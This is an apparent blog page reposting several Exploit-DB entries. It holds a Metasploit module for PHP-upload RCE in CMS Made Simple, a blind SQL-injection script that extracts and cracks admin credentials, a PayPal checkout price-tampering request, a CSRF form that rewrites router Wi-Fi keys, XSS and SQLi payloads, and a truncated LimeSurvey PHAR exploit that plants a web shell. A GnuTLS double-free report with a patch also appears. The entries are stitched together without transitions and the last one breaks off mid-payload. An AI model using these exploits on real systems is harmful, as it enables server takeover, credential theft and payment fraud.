# Exploit Title: CentOS Web Panel 0.9.8.789 - NameServer Field Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 28 - March - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: 0.9.8.789
# Tested on: CentOS 7
# CVE : CVE-2019-10261
# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel through 0.9.8.789 is vulnerable to Stored/Persistent XSS for the "Name Server 1" and "Name Server 2" fields via "DNS Functions" for "Edit Nameservers IPs" action. This is because the application does not properly sanitize the users input.
# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "DNS Functions" -> then Click on "Edit Nameservers IPs"
3. In "Name Server 1" and "Name Server 2" field give simple payload as: <script>alert(1)</script> and Click Save Changes
4. Now one can see that the XSS Payload executed and even accessing the home page Stored XSS for nameservers executes.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863591799
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
'Description' => %q(
This module exploits a File Upload vulnerability that lead in a RCE in
Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
user with "Use Showtime2" privilege could exploit the vulnerability.
The vulnerability exists in the Showtime2 module, where the class
"class.showtime2_image.php" does not ensure that a watermark file
has a standard image file extension (GIF, JPG, JPEG, or PNG).
Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniele Scanu', # Discovery & PoC
'Fabio Cogno' # Metasploit module
],
'References' =>
[
['CVE', '2019-9692'],
['CWE', '434'],
['EDB', '46546'],
['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Mar 11 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
]
)
end
def do_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
'loginsubmit' => 'Submit'
}
)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code == 302
@csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
@csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
@cookies = res.get_cookies
return
end
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end
def upload(fname, fcontent)
# construct POST data
data = Rex::MIME::Message.new
data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'headers' => {
'Cookie' => @cookies
}
)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
return
end
print_warning('No confidence in PHP payload success or failure')
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 200
module_version = Gem::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
if module_version < Gem::Version.new('3.6.3')
# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
vprint_status("Showtime2 version: #{module_version}")
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@csrf_name = nil
@csrf_value = nil
@cookies = nil
do_login
# Upload PHP payload
fname = "#{rand_text_alphanumeric(3..9)}.php"
fcontent = "<?php #{payload.encode} ?>"
print_status('Uploading PHP payload.')
upload(fname, fcontent)
# Register uploaded PHP payload file for cleanup
register_files_for_cleanup('./' + fname)
# Retrieve and execute PHP payload
print_status("Making request for '/#{fname}' to execute payload.")
send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
},
15
)
end
end
## Description of problem:
This is a critical memory corruption vulnerability in any API backed by `verify_crt()`, including `gnutls_x509_trust_list_verify_crt()` and related routines. I suspect any client or server that verifies X.509 certificates with GnuTLS is likely affected and can be compromised by a malicious server or active network attacker.
In multi-threaded-clients this is a use-after-free vulnerability, and a double-free vulnerability in single-threaded clients.
The core bug is that `_gnutls_x509_get_signature` does not clear `signature->data` in the cleanup path:
[lib/x509/common.c](https://gitlab.com/gnutls/gnutls/blob/master/lib/x509/common.c#L1367)
```c
cleanup:
gnutls_free(signature->data); // <- pointer in datum parameter freed, but not cleared
return result;
}
```
Callers like `check_if_ca` assume that if `_gnutls_x509_get_signature` ever sets that parameter, then it can be safely freed, but that is not true:
[lib/x509/verify.c](https://gitlab.com/gnutls/gnutls/blob/master/lib/x509/verify.c#L180)
```c
ret =
_gnutls_x509_get_signature(cert->cert, "signature",
&cert_signature);
if (ret < 0) {
gnutls_assert();
goto fail;
}
// ...
fail:
result = 0;
cleanup:
_gnutls_free_datum(&cert_signed_data);
_gnutls_free_datum(&issuer_signed_data);
_gnutls_free_datum(&cert_signature); // <--- freed again
_gnutls_free_datum(&issuer_signature);
return result;
}
```
## Version of gnutls used:
gnutls-3.6.6.tar.xz
## Distributor of gnutls (e.g., Ubuntu, Fedora, RHEL)
Built from source.
## How reproducible: 100%
Steps to Reproduce:
* Download the attached PEM bundle and save it as `_gnutls_x509_get_signature.pem`
* Run `certtool --verify-chain --infile _gnutls_x509_get_signature.pem`
## Actual results:
``` certtool --verify-chain --infile [_gnutls_x509_get_signature.pem](/uploads/904ec642a8943ce4571b19cc66f10986/_gnutls_x509_get_signature.pem)
Subject: CN=VeriSign Class 3 Code Signing 2010 CA,OU=Terms of use at https://www.verisign.com/rpa (c)10,OU=VeriSign Trust Network,O=VeriSign\, Inc.,C=US
Issuer: CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=(c) 2006 VeriSign\, Inc. - For authorized use only,OU=VeriSign Trust Network,O=VeriSign\, Inc.,C=US
Signature algorithm: RSA-SHA1
Output: Not verified. The certificate is NOT trusted. The certificate issuer is unknown. The certificate chain uses insecure algorithm.
Subject: CN=VeriSign Class 3 Code Signing 2010 CA,OU=Terms of use at https://www.verisign.com/rpa (c)10,OU=VeriSign Trust Network,O=VeriSign\, Inc.,C=US
Issuer: CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=(c) 2006 VeriSign\, Inc. - For authorized use only,OU=VeriSign Trust Network,O=VeriSign\, Inc.,C=US
Checked against: CN=VeriSign Class 3 Code Signing 2010 CA,OU=Terms of use at https://www.verisign.com/rpa (c)10,OU=VeriSign Trust Network,O=VeriSign\, Inc.,C=US
Signature algorithm: RSA-SHA1
Output: Verified. The certificate is trusted.
*** Error in `certtool': double free or corruption (!prev): 0x000056069d657ef0 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7fc502b8ebcb]
/lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7fc502b94f96]
/lib/x86_64-linux-gnu/libc.so.6(+0x777de)[0x7fc502b957de]
/usr/lib/x86_64-linux-gnu/libgnutls.so.30(+0xcfe50)[0x7fc50437ee50]
/usr/lib/x86_64-linux-gnu/libgnutls.so.30(+0xd0f76)[0x7fc50437ff76]
/usr/lib/x86_64-linux-gnu/libgnutls.so.30(gnutls_x509_trust_list_verify_crt2+0x44c)[0x7fc50438fe8c]
/usr/lib/x86_64-linux-gnu/libgnutls.so.30(gnutls_x509_trust_list_verify_crt+0x15)[0x7fc504390385]
certtool(+0xdff0)[0x56069cda2ff0]
certtool(+0x13570)[0x56069cda8570]
certtool(+0xc5c9)[0x56069cda15c9]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fc502b3e2b1]
certtool(+0xc60a)[0x56069cda160a]
```
## Expected results:
No memory corruption.
```
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007ffff65a83fa in __GI_abort () at abort.c:89
#2 0x00007ffff65e4bd0 in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7ffff66d9d58 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3 0x00007ffff65eaf96 in malloc_printerr (action=3, str=0x7ffff66d9dd0 "double free or corruption (!prev)", ptr=<optimized out>, ar_ptr=<optimized out>) at malloc.c:5049
#4 0x00007ffff65eb7de in _int_free (av=0x7ffff690db00 <main_arena>, p=0x5555557ddf00, have_lock=0) at malloc.c:3905
#5 0x00007ffff7aa14e4 in _gnutls_free_datum (dat=0x7fffffffcf70) at ./../datum.h:47
#6 0x00007ffff7aa1dab in check_if_ca (cert=0x5555557ce9d0, issuer=0x5555557c7d50, max_path=0x7fffffffd0a8, flags=4) at verify.c:244
#7 0x00007ffff7aa56c4 in verify_crt (cert=0x5555557ce9d0, trusted_cas=0x555555797880, tcas_size=1, flags=4, output=0x7fffffffd0d0, vparams=0x7fffffffd0a0, end_cert=1) at verify.c:732
#8 0x00007ffff7aa604c in _gnutls_verify_crt_status (certificate_list=0x7fffffffd160, clist_size=1, trusted_cas=0x555555797880, tcas_size=1, flags=4, purpose=0x0, func=0x55555556536a <detailed_verification>) at verify.c:975
#9 0x00007ffff7abcd97 in gnutls_x509_trust_list_verify_crt2 (list=0x5555557c2ab0, cert_list=0x7fffffffd160, cert_list_size=2, data=0x0, elements=0, flags=4, voutput=0x7fffffffd350, func=0x55555556536a <detailed_verification>) at verify-high.c:1366
#10 0x00007ffff7abc44b in gnutls_x509_trust_list_verify_crt (list=0x5555557c2ab0, cert_list=0x5555557c42e0, cert_list_size=2, flags=4, voutput=0x7fffffffd350, func=0x55555556536a <detailed_verification>) at verify-high.c:1197
#11 0x0000555555565f91 in _verify_x509_mem (cert=0x5555557bfeb0, cert_size=7141, cinfo=0x7fffffffd400, use_system_trust=0, purpose=0x0, hostname=0x0, email=0x0) at certtool.c:2396
#12 0x0000555555566245 in verify_chain (cinfo=0x7fffffffd400) at certtool.c:2466
#13 0x0000555555563867 in cmd_parser (argc=4, argv=0x7fffffffd5e8) at certtool.c:1406
#14 0x00005555555605ff in main (argc=4, argv=0x7fffffffd5e8) at certtool.c:126
(gdb) frame 6
#6 0x00007ffff7aa1dab in check_if_ca (cert=0x5555557ce9d0, issuer=0x5555557c7d50, max_path=0x7fffffffd0a8, flags=4) at verify.c:244
244 _gnutls_free_datum(&cert_signature);
(gdb) p cert_signature
$1 = {data = 0x5555557ddf10 "Xې\366\377\177", size = 0}
(gdb)
```
I have verified this patch against HEAD fixes the issue:
```diff
diff --git a/lib/x509/common.c b/lib/x509/common.c
index 9ce427522..3f9e04202 100644
--- a/lib/x509/common.c
+++ b/lib/x509/common.c
@@ -1366,6 +1366,8 @@ _gnutls_x509_get_signature(ASN1_TYPE src, const char *src_name,
cleanup:
gnutls_free(signature->data);
+ signature->data = NULL;
+ signature->size = 0;
return result;
}
```
This update should fix another issue I noticed, the outer signatureAlgorithm parameters were not being compared to the tbsCertificate signatureAlgorithm parameters. It is required that these two fields match, otherwise an attacker can change the parameters without breaking the signature. Thanks to agl@ for helping me understand how it works.
It turns out only one algorithm actually used the parameters, RSA-PSS, and the parameters included a hash algorithm. I suppose this may have let you downgrade hash algorithm, but only from SHA-512 to SHA-256 or something similar, and some other less interesting parameters. I'm not a cryptographer, it feels like this may have further consequences but I don't know, so I filed it as a non-security bug:
https://gitlab.com/gnutls/gnutls/issues/698
It turns out that GnuTLS thought they were checking the parameters, but due to a typo they were checking them against themselves:
https://gitlab.com/gnutls/gnutls/commit/93e1ace816955da65dec5342494d4188514731be
The patch was easy:
- ret = _gnutls_x509_read_value(cert->cert, "signatureAlgorithm.parameters", &sp2);
+ ret = _gnutls_x509_read_value(cert->cert, "tbsCertificate.signature.parameters", &sp2);
And they added a testcase I made to their testsuite.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46626.zip
# Exploit Title: Inout RealEstate - SQL Injection
# Date: 29.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.inoutscripts.com/products/inout-realestate/
# Demo Site: http://inout-realestate.demo.inoutscripts.net/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
----- PoC: SQLi -----
Request: http://localhost/[PATH]/agents/agentlistdetails
Vulnerable Parameter: city (POST)
Payload: brokername=&city=1' RLIKE (SELECT (CASE WHEN (8778=8778) THEN 1
ELSE 0x28 END)) AND 'VZpy'='VZpy&cityname=e&page=1&sortby=1
# Exploit Title: cgi-bin/webscr?cmd=_cart in the WooCommerce PayPal Checkout Payment Gateway plugin 1.6.8 for WordPress allows Parameter Tampering in an amount parameter (such as amount_1), as demonstrated by purchasing an item for lower than the intended price
# Date: 27.01.2019
# Product Title :Woocommerce Paypal gateway Plugin
# Vendor Homepage: https://wordpress.org
# Software Link : https://wordpress.org/plugins/woocommerce-gateway-paypal-express-checkout/
# Category: Web Applications Plugin (Wordpress)
# Version: 1.6.8
# Active installations: 700,000+
# Exploit Author: Vikas Chaudhary
# Contact: https://gkaim.com/contact-us/
# Web: https://gkaim.com/
# Tested on: Windows 10 -Firefox .
# CVE-2019-7441
*****************************************************
## VENDOR SUMMARY :- This is a PayPal Checkout Payment Gateway for WooCommerce.
PayPal Checkout allows you to securely sell your products and subscriptions online using In-Context Checkout to help you meet security requirements without causing your theme to suffer. In-Context Checkout uses a modal window, hosted on PayPalís servers, that overlays the checkout form and provides a secure means for your customers to enter their account information
## Vulnerability Description => The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control.
This attack can be performed by a malicious user who wants to exploit the application for their own benefit, or an attacker who wishes to attack a third-person using a Man-in-the-middle attack. In both cases, tools likes Webscarab and Paros proxy are mostly used.
__________________________________
Proof Of Concept:- PoC
1 -Install Woocommerce Paypal checkout gateway plugin (1.6.8) in Remote.
2- Now fix a price of any product and configure it with this plguin.
3- Do checkout through paypal and capture the data from burp.
5- Here you will find post based request with amount parameter- Now Edit amount parameter as you want and forward it .
6- You will see a new price and you can purchase that product on your new edited price.
-------------------
Post REQUEST:-
GET /cgi-bin/webscr?cmd=_cart&business=gkaim100%40gmail.com&no_note=1¤cy_code=INR&charset=utf-8&rm=2&upload=1&return=https%3A%2F%2Fa2zcourse.com%2Fcheckout%2Forder-received%2F798%2F%3Fkey%3Dwc_order_wJp0p80pFSg8V%26utm_nooverride%3D1&cancel_return=https%3A%2F%2Fa2zcourse.com%2Fbasket%2F%3Fcancel_order%3Dtrue%26order%3Dwc_order_wJp0p80pFSg8V%26order_id%3D798%26redirect%26_wpnonce%3D68f71663cb&page_style=A2Zcourse.com&image_url=&paymentaction=sale&bn=WooThemes_Cart&invoice=A2Z-798&custom=%7B%22order_id%22%3A798%2C%22order_key%22%3A%22wc_order_wJp0p80pFSg8V%22%7D¬ify_url=https%3A%2F%2Fa2zcourse.com%2Fwc-api%2FWC_Gateway_Paypal%2F&first_name=dfkjk&last_name=v%3Blbkm&address1=&address2=&city=&state=&zip=&country=&email=sdflmnvkj%40xncv.com&night_phone_b=8908098090&no_shipping=1&tax_cart=0.00&item_name_1=Artificial+Intelligence+2018+Build+the+Most+Powerful+AI&quantity_1=1&amount_1=5000&item_number_1=Artificial+Intelligence+2018 HTTP/1.1
Host: www.paypal.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://a2zcourse.com/checkout/
Connection: close
Upgrade-Insecure-Requests: 1
----------------
Post RESPONSE:--
HTTP/1.1 302 Moved Temporarily
Server: Apache
X-Recruiting: If you are reading this, maybe you should be working at PayPal instead! Check out https://www.paypal.com/us/webapps/mpp/paypal-jobs
Paypal-Debug-Id: 2f8e90a8c5e72
Cache-Control: no-cache
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
x-frame-options: SAMEORIGIN
content-security-policy: default-src 'self' https://*.paypal.com; script-src 'nonce-iJYgKZYXXhHUAluelfhZan+dO96W5x49hsgMXR3ZPHDRR/SI' 'self' https://*.paypal.com 'unsafe-inline' 'unsafe-eval'; img-src https://*.paypalobjects.com; object-src 'none'; font-src 'self' https://*.paypalobjects.com; form-action 'self' https://*.paypal.com; base-uri 'self' https://*.paypal.com; block-all-mixed-content; report-uri https://www.paypal.com/csplog/api/log/csp
HTTP_X_PP_AZ_LOCATOR: dcg13.slc
Paypal-Debug-Id: 2f8e90a8c5e72
Location: https://www.paypal.com/webapps/hermes?token=13V78288LV2795452&useraction=commit&rm=2&mfid=1548578790132_2f8e90a8c5e72
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
DC: ccg11-origin-www-1.paypal.com
Content-Length: 302
X-EdgeConnect-MidMile-RTT: 219
X-EdgeConnect-Origin-MEX-Latency: 801
Date: Sun, 27 Jan 2019 08:46:30 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: tsrce=xorouternodeweb; Domain=.paypal.com; Path=/; Expires=Wed, 30 Jan 2019 08:46:30 GMT; HttpOnly; Secure
Set-Cookie: ts=vr%3D8e7d19d1168ac1200012cd39fff5bb0f%26vreXpYrS%3D1643249566%26vteXpYrS%3D1548580589%26vt%3D8e7d19d4168ac1200012cd39fff5bb0e; Domain=.paypal.com; Path=/; Expires=Thu, 27 Jan 2022 02:12:47 GMT; HttpOnly; Secure
Set-Cookie: nsid=s%3AU8TmrvBUulZLtqFmT9F1ZeoVNf4dKoAr.slyvmBwJFEJx4Uxt4mNU%2BJH%2BrDf5uxLrKECnBRm%2FQ0I; Path=/; HttpOnly; Secure
Set-Cookie: X-PP-SILOVER=name%3DLIVE5.WEB.1%26silo_version%3D880%26app%3Dxorouternodewebxclick%26TIME%3D3849276764%26HTTP_X_PP_AZ_LOCATOR%3Ddcg13.slc; Expires=Sun, 27 Jan 2019 09:16:30 GMT; domain=.paypal.com; path=/; Secure; HttpOnly
Set-Cookie: X-PP-SILOVER=; Expires=Thu, 01 Jan 1970 00:00:01 GMT
Set-Cookie: AKDC=ccg11-origin-www-1.paypal.com; expires=Sun, 27-Jan-2019 09:16:30 GMT; path=/; secure
Set-Cookie: akavpau_ppsd=1548579390~id=8b5783ec5a9b02390092591f951f54f8; Domain=www.paypal.com; Path=/; Secure; HttpOnly
Strict-Transport-Security: max-age=63072000
<p>Found. Redirecting to <a href="https://www.paypal.com/webapps/hermes?token=13V78288LV2795452&useraction=commit&rm=2&mfid=1548578790132_2f8e90a8c5e72">https://www.paypal.com/webapps/hermes?token=13V78288LV2795452&useraction=commit&rm=2&mfid=1548578790132_2f8e90a8c5e72</a></p>
---------------------------------------------------------
___________________________________
# Exploit Title: JioFi 4G M2S 1.0.2 devices have CSRF via the SSID name and Security Key field under Edit Wi-Fi Settings (aka a SetWiFi_Setting request to cgi-bin/qcmap_web_cgi)
# Exploit Author: Vikas Chaudhary
# Date: 21-01-2019
# Vendor Homepage: https://www.jio.com/
# Hardware Link: https://www.amazon.in/JioFi-Hotspot-M2S-Portable-Device/dp/B075P7BLV5/ref=sr_1_1?s=computers&ie=UTF8&qid=1531032476&sr=1-1&keywords=JioFi+M2S+Wireless+Data+Card++%28Black%29
# Version: JioFi 4G Hotspot M2S 150 Mbps Wireless Router
# Category: Hardware
# Contact: https://www.facebook.com/profile.php?id=100011287630308
# Web: https://gkaim.com/
# Tested on: Windows 10 X64- Firefox-65.0
# CVE-2019-7440
***********************************************************************
## Vulnerability Description :- The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
The issue is triggered when an unauthorized input passed via multiple POST and GET parameters are not properly sanitized
before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context
of an affected site.
----------------------------------------
# Proof Of Concept:-PoC
1- First Open BurpSuite
2- Make Intercept on
3 -Go to your Wifi Router's Gateway in Browser [i.e http://192.168.225.1 ]
4-Goto wifi edit section and click on apply
5-Now capture the data and generate CSRF PoC
6-Now Change the SSID name and Password (Security Key) According to you
7-Save it as .html and send it to Victim.
8-Victim's profile will be changed according to you
-------------------
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.225.1/cgi-bin/qcmap_web_cgi" method="POST">
<input type="hidden" name="Page" value="SetWiFi_Setting" />
<input type="hidden" name="Mask" value="0" />
<input type="hidden" name="result" value="0" />
<input type="hidden" name="ssid" value=" Myaim_Vikas" />
<input type="hidden" name="mode_802_11" value="11bgn" />
<input type="hidden" name="tx_power" value="HIGH" />
<input type="hidden" name="wmm" value="Enable" />
<input type="hidden" name="wps_enable" value="PushButton" />
<input type="hidden" name="wifi_security" value="WPA2PSK" />
<input type="hidden" name="wpa_encryption_type" value="AES" />
<input type="hidden" name="wpa_security_key" value="12345678" />
<input type="hidden" name="wep_security_key_1" value="0" />
<input type="hidden" name="wep_security_key_2" value="0" />
<input type="hidden" name="wep_security_key_3" value="0" />
<input type="hidden" name="wep_security_key_4" value="0" />
<input type="hidden" name="wep_current_default_key" value="0" />
<input type="hidden" name="channel_mode" value="automatic" />
<input type="hidden" name="channel_selection" value="8" />
<input type="hidden" name="sleep_mode" value="Enable" />
<input type="hidden" name="sleep_mode_timer" value="30" />
<input type="hidden" name="ssid_broadcast" value="Enable" />
<input type="hidden" name="enable_wifi" value="Enable" />
<input type="hidden" name="token" value="052d80c2c7aa1c90" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()
#!/usr/bin/python
# Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
# Date: 29/03/2019
# Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
# Exploit Author: @q3rv0
# Google Dork:
# Version: < 3.16
# Tested on: LimeSurvey 3.15
# PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf
# CVE: CVE-2018-17057
# SecSignal is: <3
# Usage: python exploit.py [URL] [USERNAME] [PASSWORD]
import requests
import sys
import re
SESSION = requests.Session()
# Malicious PHAR generated with PHPGGC.
# ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg
PHAR = ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"
"\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"
